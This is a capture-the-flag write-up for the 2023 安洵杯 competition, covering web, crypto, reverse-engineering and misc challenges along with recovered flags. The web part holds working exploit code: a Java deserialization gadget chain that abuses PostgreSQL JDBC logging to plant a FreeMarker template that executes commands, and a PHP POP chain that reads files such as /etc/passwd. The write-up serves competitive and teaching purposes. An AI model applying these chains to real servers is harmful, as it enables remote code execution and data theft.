2023安洵杯 WriteUp By Mini-Venom

百家 作者:Chamd5安全团队 2023-12-24 23:08:12

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

Web

what's my name

参考 https://blog.csdn.net/solitudi/article/details/107744427
代码注入
里面有个admin.php 然后那个莫名其妙多一个字符
用00填充

执行32次

ezjava

看样子是写模板了,题目设置的防火墙就挺新颖的。。那么多条命令就为了让题目不出网。
就一个/read反序列化路由,但是设了黑名单:

static {
    BLACKLIST.add("com.sun.jndi");
    BLACKLIST.add("com.fasterxml.jackson");
    BLACKLIST.add("org.springframework");
    BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
    BLACKLIST.add("java.security.SignedObject");
    BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    BLACKLIST.add("java.lang.Runtime");
    BLACKLIST.add("java.lang.ProcessBuilder");
    BLACKLIST.add("java.util.PriorityQueue");
}

有个PGSQL依赖,版本42.3.1比较低。
https://forum.butian.net/share/1339
看博客发现有两种利用,既然题目有freemarker并且不出网肯定是打任意文件写覆盖模板RCE了。
题目给提示org.postgresql.ds.common#BaseDataSource,非常明显看到了sink点。DriverManager.getConnection,user和password是无关紧要的。主要看一下getUrl。

public Connection getConnection(@Nullable String user, @Nullable String password)
    throws SQLException 
{
  try {
    Connection con = DriverManager.getConnection(getUrl(), user, password);
    if (LOGGER.isLoggable(Level.FINE)) {
      LOGGER.log(Level.FINE, "Created a {0} for {1} at {2}",
          new Object[] {getDescription(), user, getUrl()});
    }
    return con;
  } catch (SQLException e) {
    LOGGER.log(Level.FINE, "Failed to create a {0} for {1} at {2}: {3}",
        new Object[] {getDescription(), user, getUrl(), e});
    throw e;
  }
}

这里取的是serverName,用后面的databaseName还有query不太好操作。所以直接通过setter 方法给serverName赋值。

BaseDataSource是个抽象类,找个子类实例化。

        PGConnectionPoolDataSource pgPoolingDataSource = new PGConnectionPoolDataSource();

        pgPoolingDataSource.setServerNames(new String[]{"/?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}&"});

//        pgPoolingDataSource.getConnection("a","a");
        System.out.println(pgPoolingDataSource.getUrl());
-------------------------------------输出-------------------------------------------
        jdbc:postgresql:///?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cat /flag")}&/

url问题解决接下来就是找gadget。
看样子是要找一个替换PriorityQueue的地方。触发BeanComparator#compare,BeanComparator#compare触发getPooledConnection。
最终找到TreeMap#put方法,key可控。comparator有getter可以赋值。

使用CC6的前半段触发Object#put即可。


调用栈:

getUrl:1239, BaseDataSource (org.postgresql.ds.common)
getConnection:111, BaseDataSource (org.postgresql.ds.common)
getConnection:87, BaseDataSource (org.postgresql.ds.common)
getPooledConnection:58, PGConnectionPoolDataSource (org.postgresql.ds)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
compare:1295, TreeMap (java.util)
put:538, TreeMap (java.util)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
main:58, ezJava (gadget.timu)

虽然报错了但是通过报错信息还是有起始标签就可以被freemarker解析。

freemarker版本比较高,但是macro-helpers开了

spring.freemarker.expose-spring-macro-helpers=true
Spring Beans可用,可以直接禁用沙箱。拿这个写index.ftl访问模板即可。
Java
<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

最终exp:

package gadget.timu;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.codehaus.jackson.JsonNode;
import org.postgresql.PGProperty;
import org.postgresql.ds.PGConnectionPoolDataSource;
import org.postgresql.ds.PGPoolingDataSource;
import org.postgresql.ds.common.BaseDataSource;
import util.ReflectionUtils;
import util.SerializerUtils;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.util.TreeMap;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.PriorityBlockingQueue;

public class ezJava {
    public static void main(String[] args) throws Exception {
        String loggerLevel="DEBUG";
        String loggerFile="/hack.jsp";
        String shellContent="<%25test;%25>";
        PGConnectionPoolDataSource pgPoolingDataSource = new PGConnectionPoolDataSource();

        pgPoolingDataSource.setServerNames(new String[]{"/?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}&"});

//        pgPoolingDataSource.getConnection("a","a");


//
        final BeanComparator comparator = new BeanComparator();

//        final LinkedBlockingDeque<Object> queue = new LinkedBlockingDeque<Object>(comparator);
//        queue.add(1);
//        queue.add(1);

//        JsonNodeFactory JsonNodeFactory = new JsonNodeFactory(true);
//        ArrayNode arrayNode  = new ArrayNode(JsonNodeFactory);

        ReflectionUtils.setFieldValue(comparator, "property""pooledConnection");
//
//        ReflectionUtils.setFieldValue(queue, "queue", new Object[]{pgPoolingDataSource, pgPoolingDataSource});

        TreeMap treeMap = new TreeMap<>(comparator);
        ConstantFactory factory = new ConstantFactory("1");
        Map<Object,Object> lazyMap = LazyMap.decorate(treeMap, factory);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, pgPoolingDataSource);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);

        // 将factory重新赋值为lazyMap从而触发factory.transform
//        Class clazz= LazyMap.class;
//        serialize(queue);
//        unserialize();
//        SerializerUtils.unserialize(SerializerUtils.serialize(badAttributeValueExpException));
//        Test();
        System.out.println(SerializerUtils.serializeBase64(badAttributeValueExpException));
    }

    public static void Test() {
        String loggerLevel="DEBUG";
        String loggerFile="../hack.jsp";
        String shellContent="<%25test;%25>";

        String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
        System.out.println(dbUrl);
    }
}

easy_unserialize

先用 Directorylterator 列目录找到flag文件

<?php
//error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    
{
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    
{
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    
{
        $this->md5 = $a;
//        var_dump($this->md5);
    }
//public function __construct($a)
//{
//    $this->md5=$a;
//}

    public function __toString()
    
{
//        phpinfo();
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    
{
//        phpinfo();
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    
{
//        phpinfo();
//        var_dump($this->md5);
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    
{
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    
{
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    
{
//        phpinfo();
//        var_dump($this->y1->y1);
        unset($this->y1->y1);
    }
}
class Flag{
//    public $one;
//    public $two;
    public function __invoke()
    
{

//        phpinfo();
//        echo "May be you can get what you want here";
//        var_dump($this);
        array_walk($thisfunction ($one, $two) {

            var_dump($one);

            var_dump($two);

            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}
$Flag=new Flag();
$Flag->SplFileObject='/FfffLlllLaAaaggGgGg';
$Flag->two='aaaaal';
$Luck1=new Luck(1);
$Luck1->l1=$Flag;
$Luck=new Luck($Luck1);
$You=new You();
$You->y1=$Luck;


var_dump(urlencode(serialize($You)));


//unserialize('O:3:"You":1:{s:2:"y1";O:4:"Luck":4:{s:2:"l1";N;s:3:"ll2";N;s:9:" Luck md5";N;s:4:"lll3";N;}}');
//unserialize(urldecode("O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BN%3Bs%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A2%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3Bs%3A3%3A%22two%22%3Bs%3A6%3A%22aaaaal%22%3B%7Ds%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3Bi%3A1%3Bs%3A4%3A%22lll3%22%3BN%3B%7Ds%3A4%3A%22lll3%22%3BN%3B%7D%7D"));

Swagger docs


后边有个python

#coding=gbk
import json
from flask import Flask, request,  jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
    'code': 0,
    'message''failed',
    'result': None
}
response1={
    'code': 1,
    'message''success',
    'result': current_time
}

response2 = {
    'code': 2,
    'message''Invalid request parameters',
    'result': None
}

def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500

    return decorated

@app.route('/',methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET''POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        User.setUser(username,password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)

    return jsonify(response2),400

@app.route('/api-base/v0/login', methods=['GET''POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401

    return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST''GET'])
@auth
def update_password():
    try:
        if request.method == 'POST':
            try:
                new_password = request.get_json()
                if new_password:

                    update(new_password, User)

                    updated_token = jwt.encode({'username': User.username, 'password': User.password},
                                               app.config['SECRET_KEY'], algorithm='HS256')
                    User.token = updated_token
                    response = jsonify(response1)
                    response.set_cookie('token',updated_token)
                    return response
                else:
                    return jsonify(response0), 401
            except:
                return "Something error?",505
        else:
            return jsonify(response2), 400

    except jwt.ExpiredSignatureError:
        return 'Invalid token', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)

@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message''Logout successful!'})
    response.delete_cookie('token')
    return response

@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            if request.args.get('id'):
                id = request.args.get('id')
            else:
                id = ''
            data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
            if data.status_code != 200:
                return data.status_code

            if request.args.get('type') == "text":

                return render_template_string(data.text)
            else:
                return jsonify(json.loads(data.text))
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?'
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username="admin"
        self.password="password"
        self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0')

aiijava

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ctf;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.example.ctf.database.message.Message;
import com.example.ctf.database.message.MessageDao;
import com.example.ctf.database.user.User;
import com.example.ctf.database.user.UserDao;
import com.example.ctf.database.user.UserService;
import java.security.Principal;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;

@Controller
public class WebController {
    @Autowired
    private UserDao userDao;
    @Autowired
    private UserService userService;
    @Autowired
    private MessageDao messageDao;

    public WebController() {
    }

    @RequestMapping({"/register"})
    public ResponseEntity<String> register(HttpServletRequest request) {
        try {
            User u1 = new User();
            Message message = new Message();
            u1.setUsername(request.getParameter("username"));
            u1.setPassword(request.getParameter("password"));
            u1.setAge(Integer.parseInt(request.getParameter("age")));
            u1.setAccountNonExpired(true);
            u1.setAccountNonLocked(true);
            u1.setCredentialsNonExpired(true);
            u1.setEnabled(true);
            u1.setRole("ROLE_user");
            this.userDao.save(u1);
            message.setUsername(request.getParameter("username"));
            this.messageDao.save(message);
            System.out.println("register" + request.getParameter("username"));
            String data = "Success!";
            return new ResponseEntity(data, HttpStatus.OK);
        } catch (Exception var5) {
            return new ResponseEntity("用户已存在", HttpStatus.INTERNAL_SERVER_ERROR);
        }
    }

    @RequestMapping({"/user_page"})
    public ModelAndView user(Principal principal) {
        ModelAndView modelAndView = new ModelAndView();
        System.out.println(this.hasAdminRole());
        if (this.hasAdminRole()) {
            RedirectView redirectView = new RedirectView("/admin/" + principal.getName(), true);
            return new ModelAndView(redirectView);
        } else {
            modelAndView.addObject("username", principal.getName());
            modelAndView.addObject("age", this.userDao.findUserByUsername(principal.getName()).getAge());
            String messages = "";
            if (this.messageDao.findMessageByUsername(principal.getName()) != null) {
                messages = this.messageDao.findMessageByUsername(principal.getName()).getMessage();
            }

            modelAndView.addObject("messages", messages);
            modelAndView.setViewName("user");
            return modelAndView;
        }
    }

    @RequestMapping({"/admin/{name}"})
    public ModelAndView admin(@PathVariable String name) {
        ModelAndView modelAndView = new ModelAndView();
        if (name.equals("")) {
            name = "test";
        }

        modelAndView.addObject("username", name);
        List<Message> messsagelist = this.messageDao.findAll();
        List<User> users = this.userService.Usersby("username");
        modelAndView.addObject("userList", users);
        modelAndView.addObject("messsagelist", messsagelist);
        modelAndView.setViewName("admin");
        return modelAndView;
    }

    @RequestMapping({"/post_message/{name}"})
    @ResponseBody
    public ResponseEntity<String> customResponse(@RequestBody String message, @PathVariable String name) {
        System.out.println(message);
        JSONObject jsonObject = JSON.parseObject(message);
        System.out.println(jsonObject.getString("username"));
        System.out.println(jsonObject.getString("message"));
        this.messageDao.updateMessagesByUsername(name, jsonObject.getString("message"));
        String data = "Success!";
        return new ResponseEntity(data, HttpStatus.OK);
    }

    public boolean hasAdminRole() {
        return SecurityContextHolder.getContext().getAuthentication().getAuthorities().stream().anyMatch((grantedAuthority) -> {
            return grantedAuthority.getAuthority().equals("ROLE_admin");
        });
    }
}

Crypto:

010101

爆破两次1024bit,对应前1024位和后1024位,分解n

import hashlib
import string
from itertools import product

table = string.ascii_letters + string.digits
str = b'SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489'
GeShi = b'Give Me XXXX:'  # 改格式!
proof = str.decode().split('SHA256')[-1]
print(proof)
Xnum = proof.split('+')[0].upper().count("X")
tail = proof.split('+')[1].split(')')[0].strip()
_hash = proof.split(':')[-1].strip()
if '\n' in _hash:
    _hash = _hash.split('\n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
    head = ''.join(i)
    # print(head)
    t = hashlib.sha256((head + tail).encode()).hexdigest()
    if t == _hash:
        print('爆破成功!结果是:', end='')
        print(head)
        break

爆破成功后返回 n,p,c
这里的p注意

        p1 = list(p[:1024])
        p2 = list(p[1024:])
        p1[random.choice([i for i, c in enumerate(p1) if c == '1'])] = '0'
        p2[random.choice([i for i, c in enumerate(p1) if c == '0'])] = '1'

前1024bit 有 1 的位置 置换 为 0
前1024bit 有 0 的位置,后1024bit 相同的位置 置换成 1
注意 后1024bit 被置换的位置 可能原先依然为 1 ,这个时候步骤2 不会对p产生变化
解题思路就是最简单的爆破

from Crypto.Util.number import *
from gmpy2 import gcd
from tqdm import tqdm
n = xx
p = 0bxx
c = xx
p = bin(p)[2:]
for i in tqdm(range(1024)):
    for j in range(10242048):
        if p[j] == '1' and p[i] == '0' and p[j-1024] == '0':
            q = int(p, 2) + pow(2, len(p)-i-1)
            q0 = q - pow(2, len(p)-j-1)
            if gcd(n, q) == q:
                d = inverse(e, q-1)
            elif gcd(q0,n) == q0:
                d = inverse(e, q0-1)
                q = q0
            else :
                continue
            flag = long_to_bytes(int(pow(c, d, q)))
            if b'D0g3{' in flag:
                print(flag)
                break

D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

Pading Oracle攻击,构造iv改变最后一位爆破

import hashlib
import string
from itertools import product

table = string.ascii_letters + string.digits
str = b'SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489'
GeShi = b'Give Me XXXX:'  # 改格式!
proof = str.decode().split('SHA256')[-1]
print(proof)
Xnum = proof.split('+')[0].upper().count("X")
tail = proof.split('+')[1].split(')')[0].strip()
_hash = proof.split(':')[-1].strip()
if '\n' in _hash:
    _hash = _hash.split('\n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
    head = ''.join(i)
    # print(head)
    t = hashlib.sha256((head + tail).encode()).hexdigest()
    if t == _hash:
        print('爆破成功!结果是:', end='')
        print(head)
        break

爆破过proof:

sh.recvuntil(b'Welcome to AES System, please choose the following options:\n1. encrypt the flag\n2. decrypt the flag\n')
sh.sendline(b'1')
sh.recvuntil(b'This is your flag: ')
Cipher = sh.recvuntil(b'\n')[:-1]

得到返回的Ciper值,由IV和ciper组成,https://ctf-wiki.mahaloz.re/crypto/blockcipher/mode/padding-oracle-attack/#padding-oracle-attack
Pading oracle attack,可以观察到:

def asserts(pt: bytes):
    num = pt[-1]
    if len(pt) == 16:
        result = pt[::-1]
        count = 0
        for i in result:
            if i == num:
                count += 1
            else:
                break
        if count == num:
            return True
        else:
            return False
    else:
        return False

利用assert的num构造最后一位(IV输入可控)从而控制num即可过asserts,通过交互回显爆破即可:

m_known = b'}'
for i in tqdm(range(6,15)):
    for j in range(32,128):
        i_known = (i<<24) + (i<<16) + (i<<8) + i
        num = len(m_known)
        K = bytes_to_long(m_known[::-1])^bytes_to_long(IV[-4-num:-4])^bytes_to_long(long_to_bytes(i)*num)
        k1 = long_to_bytes(IV[-i] ^ j ^ i)
        k2 = long_to_bytes(bytes_to_long(IV[-4:]) ^ bytes_to_long(b'\x04' * 4) ^ i_known)
        iv = IV[:16-i] + k1 + k2
        sh.sendline(b'2')
        sh.recvuntil(b'Please enter ciphertext:\n')
        sh.sendline(f'{cipher}'.encode())
        Asser = sh.recvuntil(b'\n')[:-1]
        if Asser == b'True':
            m_known += long_to_bytes(j)
            break
    print(m_known[::-1])
# D0g3{0P@d4Ttk}

Rabin

import hashlib
import string
from itertools import product

table = string.ascii_letters + string.digits
str = b'SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489'
GeShi = b'Give Me XXXX:'  # 改格式!
proof = str.decode().split('SHA256')[-1]
print(proof)
Xnum = proof.split('+')[0].upper().count("X")
tail = proof.split('+')[1].split(')')[0].strip()
_hash = proof.split(':')[-1].strip()
if '\n' in _hash:
    _hash = _hash.split('\n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
    head = ''.join(i)
    # print(head)
    t = hashlib.sha256((head + tail).encode()).hexdigest()
    if t == _hash:
        print('爆破成功!结果是:', end='')
        print(head)
        break
交互获取数据,时间挺长的。。。
Python
sh.recv()
sh.sendline(head)
sh.recvuntil(b'Press 1 to get ciphertext\n')
sh.sendline(b'1')
n = sh.recvuntil(b'\n')[:-1]
inv_p = sh.recvuntil(b'\n')[:-1]
inv_q = sh.recvuntil(b'\n')[:-1]
c1 = sh.recvuntil(b'\n')[:-1]
c2 = sh.recvuntil(b'\n')[:-1]
print(n, c1, c2, inv_p, inv_q)

猜测x的值大小,由r的生成公式进行判断(GCD(r,n)是否有解):

while True:
    r = r * x
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break

当x为2^i时有解,x为2,range负数不合理,x为4,e1过大,所以x为8,通过e1和e2方程:

for i in range(x - (2**2 - 1)):
    a += pow(e1, i)
for j in range(3):
    b += pow(e2, j)

e1为2,e2为5
Hitcon原题思路:https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
p = k1+inv_q ;q = k2 + inv_p 

建立一元二次方程,分解p和q的值:

x = var('x')
f = inv_p * x ** 2 + (2 * inv_q * inv_p - 1 - p_q) * x + inv_q * (inv_p * inv_q - 1)
X = f.roots()
k1 = X[1]
p = inv_q + k1
q = p_q//p

rabin思路:求解p,q,r的解(m = c^((p+1)//4) mod p),使用crt求解即可:

m11 = pow(c1,(p+1)//4,p)
m12 = pow(c1,(q+1)//4,q)
m13 = pow(c1,(r+1)//4,r)

M1 = [m11,-m11%p]
M2 = [m12,-m12%q]
M3 = [m13,-m13%r]
for i1,i2,i3 in itertools.product(M1,M2,M3):
    m = crt([int(i1),int(i2),int(i3)],[int(p),int(q),int(r)])
    print(long_to_bytes(m))

第二个,rsa解密,求d,c^d mod n即可:

phi = (p-1)*(q-1)*(r-1)
d2 = gmpy2.invert(e2,phi)
m = gmpy2.powmod(c2,int(d2),n)
print(long_to_bytes(m))

组合拼接一下:D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}

Reverse:

mobilego

go+kotlin
position_map = {
    0: 26, 1: 17, 2: 21, 3: 31, 4: 36, 5: 15, 6: 27, 7: 19, 8: 24, 9: 6,
    10: 10, 11: 2, 12: 12, 13: 35, 14: 4, 15: 9, 16: 16, 17: 37, 18: 18, 19: 7,
    20: 20, 21: 0, 22: 23, 23: 22, 24: 13, 25: 14, 26: 25, 27: 30, 28: 11, 29: 3,
    30: 8, 31: 29, 32: 32, 33: 33, 34: 1, 35: 34, 36: 28, 37: 5
}


def correct_decrypt_with_given_map(encrypted_str, position_map):
    decrypted_list = [''] * len(encrypted_str)

    for original_position, encrypted_position in position_map.items():
        decrypted_list[original_position] = encrypted_str[encrypted_position]

    decrypted_str = ''.join(decrypted_list)
    return decrypted_str

encrypted_str = "49021}5f919038b440139g74b7Dc88330e5d{6"
print(correct_decrypt_with_given_map(encrypted_str, position_map))
D0g3{4c3b5903d11461f94478b7302980e958}

Misc:

misc-dacongのWindows

1:音频是SSTV,解密第39个

2:windows.dumpfiles出来secret.rar然后snow隐写

3:我用vol2查看注册表找到密钥:d@@Coong_LiiKEE_F0r3NsIc

然后aes解密flag3.txt
flag3和dacong_like_listen是一样的,八成是出题人忘删了。

img flag

Nahida

silenteye一把梭

misc-dacongのsecret

解密压缩包,获得jpg jpg文件尾部提取之后逆序获得压缩包。
从PNG文件最后一个IDAT块,然后手动修复,添加PNG文件头信息,然后爆破宽高得到key

然后解密压缩包,

base64隐写

jphide


疯狂的麦克斯


XLMWMWQOWHSCSYORSAALSEQM 经过维吉尼亚加密,解密密钥是 e ,也就是 THIS IS MKS DO YOU KNOW WHO AM I 但是没啥用

后面这块是rot13偏移22再解密base64

- END -

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接